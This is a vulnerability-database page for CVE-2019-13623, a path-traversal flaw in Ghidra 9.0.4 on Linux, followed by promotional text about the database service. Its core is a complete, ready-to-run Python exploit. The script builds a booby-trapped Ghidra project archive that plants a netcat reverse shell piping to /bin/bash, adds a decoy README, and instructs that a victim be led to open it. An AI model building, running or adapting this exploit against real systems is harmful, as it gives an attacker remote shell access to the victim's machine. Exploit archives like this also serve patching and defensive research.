Lucene search
K

Ghidra (Linux) 9.0.4 - .gar Arbitrary Code Execution

🗓️ 12 Aug 2019 00:00:00Reported by Etienne LacocheType 
exploitpack
 exploitpack
👁 34 Views

Ghidra (Linux) 9.0.4 - .gar Arbitrary Code Execution, CVE-2019-13623, Etienne Lacoche, Export file path, IP address, Port numbe

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Ghidra (Linux) 9.0.4 - .gar Arbitrary Code Execution Exploit
12 Aug 201900:00
zdt
Circl
CVE-2019-13623
12 Aug 201900:00
circl
CNVD
National Security Agency Ghidra Path Traversal Vulnerability
19 Jul 201900:00
cnvd
CVE
CVE-2019-13623
17 Jul 201902:07
cve
Cvelist
CVE-2019-13623
17 Jul 201902:07
cvelist
Exploit DB
Ghidra (Linux) 9.0.4 - .gar Arbitrary Code Execution
12 Aug 201900:00
exploitdb
EUVD
EUVD-2019-5055
7 Oct 202500:30
euvd
NVD
CVE-2019-13623
17 Jul 201903:15
nvd
Packet Storm
Ghidra (Linux) 9.0.4 Arbitrary Code Execution
12 Aug 201900:00
packetstorm
Prion
Path traversal
17 Jul 201903:15
prion
Rows per page
import os
import inspect
import argparse
import shutil
from shutil import copyfile

print("")
print("")
print("################################################")
print("")
print("------------------CVE-2019-13623----------------")
print("")
print("################################################")
print("")
print("-----------------Ghidra-Exploit-----------------")
print("--Tested version: Ghidra Linux version <= 9.0.4-")
print("------------------------------------------------")
print("")
print("################################################")
print("")
print("----------Exploit by: Etienne Lacoche-----------")
print("---------Contact Twitter: @electr0sm0g----------")
print("")
print("------------------Discovered by:----------------")
print("---------https://blog.fxiao.me/ghidra/----------")
print("")
print("--------Exploit tested on Ubuntu 18.04----------")
print("-----------------Dependency: zip----------------")
print("")
print("################################################")
print("")
print("")

parser = argparse.ArgumentParser()
parser.add_argument("file", help="Path to input export .gar file",default=1)
parser.add_argument("ip", help="Ip to nc listener",default=1)
parser.add_argument("port", help="Port to nc listener",default=1)

args = parser.parse_args()
            
if args.ip and args.port and args.file:

    rootDirURL=os.path.dirname(os.path.abspath(inspect.getfile(inspect.currentframe())))
    path = "../Ghidra/Features/Decompiler/os/linux64/decompile"
    os.system("mkdir -p ../Ghidra/Features/Decompiler/os/linux64/")
    os.system("echo 'rm -f x; mknod x p && nc "+args.ip+" "+args.port+" 0<x | /bin/bash 1>x' > decompile")
    os.system("chmod +x decompile")
    copyfile("decompile",path)
    copyfile(args.file,rootDirURL+"/"+"project.gar")
    os.system("zip -q project.gar ../Ghidra/Features/Decompiler/os/linux64/decompile")
    os.system("echo 'To fully export this archive, place project.gar to GHIDRA_INSTALL_DIR root path and open it with Restore Project at Ghidra.' > README_BEFORE_OPEN_GAR_FILE")
    os.system("zip -q project.zip README_BEFORE_OPEN_GAR_FILE")    
    os.system("zip -q project.zip project.gar") 
    os.system("rm decompile README_BEFORE_OPEN_GAR_FILE")
    os.system("rm project.gar")
    print("You can now share project.zip and start your local netcat listener.")
    print("")
    print("Project.gar must be placed and opened by victim at GHIDRA_INSTALL_DIR")
    print("root path for payload execution.")
    print("")

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation